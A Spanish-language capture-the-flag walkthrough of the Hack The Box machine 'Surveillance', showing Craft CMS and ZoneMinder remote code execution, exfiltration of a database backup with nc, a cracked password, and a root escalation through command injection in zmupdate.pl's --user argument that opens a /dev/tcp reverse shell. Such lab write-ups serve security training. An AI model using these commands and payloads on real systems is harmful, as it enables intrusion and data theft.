Surveillance

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

Nmap scan report for 10.10.11.245
Host is up (0.098s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Enumeramos directorios web y podemos ver lo siguiente.

┌──(root㉿kali)-[~/htb/Surveillance]
└─# gobuster dir -u http://surveillance.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 200) [Size: 304]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]

Hay un panel de administracion que esta utilizando craft cms.

Craft CMS Unauthenticated RCE

La aplicacion es vulnerable a RCE no autenticado utilizando el siguiente script para explotarlo.

┌──(root㉿kali)-[~/htb/Surveillance]
└─# python3 exploit.py http://surveillance.htb
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Identificamos que hay una archivo backup en los directorios de la aplicacion.

www-data@surveillance:~/html/craft/storage/backups$ ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip

Nos mandamos el archivos a nuestra maquina.

nc -w 5 10.10.14.89 4444 < surveillance--2023-10-17-202801--v4.4.14.sql.zip
nc -lvnp 4444 > surveillance--2023-10-17-202801--v4.4.14.sql.zip

El zip contiene un archivo sql y podemos ver el password del admin.

INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

Utilizando crackstation podemos romper el hash y obtener el password.

El password puede ser utlizando con el usuario matthew.

matthew : starcraft122490

Nos conectamos por SSH.

┌──(root㉿kali)-[~/htb/Surveillance]
└─# ssh matthew@10.10.11.245
matthew@10.10.11.245's password: 

Last login: Mon Apr  8 09:42:18 2024 from 10.10.14.89
matthew@surveillance:~$ id
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
matthew@surveillance:~$ cat user.txt
55d8668a44ca61c641abffdbf4aa3bf0
matthew@surveillance:~$

Privilege Escalation (User)

Revisando los puertos hay uno extra 8080.

matthew@surveillance:~$ netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)

Hacemos portforward con SSH.

ssh matthew@10.10.11.245 -L 8081:127.0.0.1:8080

ZoneMinder Unauthenticated RCE

La aplicacion es vulnerable a RCE. Usando el siguiente script es posible explotarlo.

┌──(root㉿kali)-[~/htb/Surveillance]
└─# python3 zoneminder.py -t http://127.0.0.1:8081 -ip 10.10.14.89 -p 1234
[>] fetching csrf token
[>] recieved the token: key:0e036f168a3ea4c158762cfed48bc1f7eddb59f2,1712570509
[>] executing...
[>] sending payload..
[!] failed to send payload
┌──(root㉿kali)-[~/htb/Surveillance]
└─# nc -lvnp 1234  
listening on [any] 1234 ...
connect to [10.10.14.89] from (UNKNOWN) [10.10.11.245] 55584
bash: cannot set terminal process group (1089): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ id
id
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder@surveillance:/usr/share/zoneminder/www$

Privilege Escalation (Root)

El usuario tiene privilegios de sudo.

zoneminder@surveillance:~$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

Encontramos tambien un password en la siguiente ruta.

matthew@surveillance:~$ cat /usr/share/zoneminder/www/api/app/Config/database.php
        public $test = array(
                'datasource' => 'Database/Mysql',
                'persistent' => false,
                'host' => 'localhost',
                'login' => 'zmuser',
                'password' => 'ZoneMinderPassword2023',
                'database' => 'zm',
                'prefix' => '',
                //'encoding' => 'utf8',
        );

Despues de investigar los script que estan en /usr/bin el mas relevante es zmupdate.pl. Ya que recibe como argumento el usuario y genera un backup con el comando mysqldump.

zoneminder@surveillance:~$ cat /usr/bin/zmupdate.pl | grep user
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version> [-u <dbuser> -p <dbpass>]
-u <dbuser>, --user=<dbuser>      - Alternate DB user with privileges to alter DB
-p <dbpass>, --pass=<dbpass>      - Password of alternate DB user with privileges to alter DB
-interactive                     - interact with the user
-nointeractive                   - do not interact with the user
    'user:s'         =>\$dbUser,
    print("Error, migrating events can only be done as user root or ".$Config{ZM_WEB_USER}.".\n");

En la siguiente parte de codigo concatena el usuario y el password al commando.

my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {

Podemos comprobar lo anterior con el siguiente comando.

sudo /usr/bin/zmupdate.pl --version=1 --user='test' --pass=ZoneMinderPassword2023

Por lo tanto podemos aprovechar eso para ejecutar comandos de la siguiente forma.

sudo /usr/bin/zmupdate.pl --version=1 --user='$(bash -c "bash -i >& /dev/tcp/10.10.14.89/4444 0>&1")' --pass=ZoneMinderPassword2023

References

https://www.rapid7.com/db/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892/ https://www.exploit-db.com/exploits/51902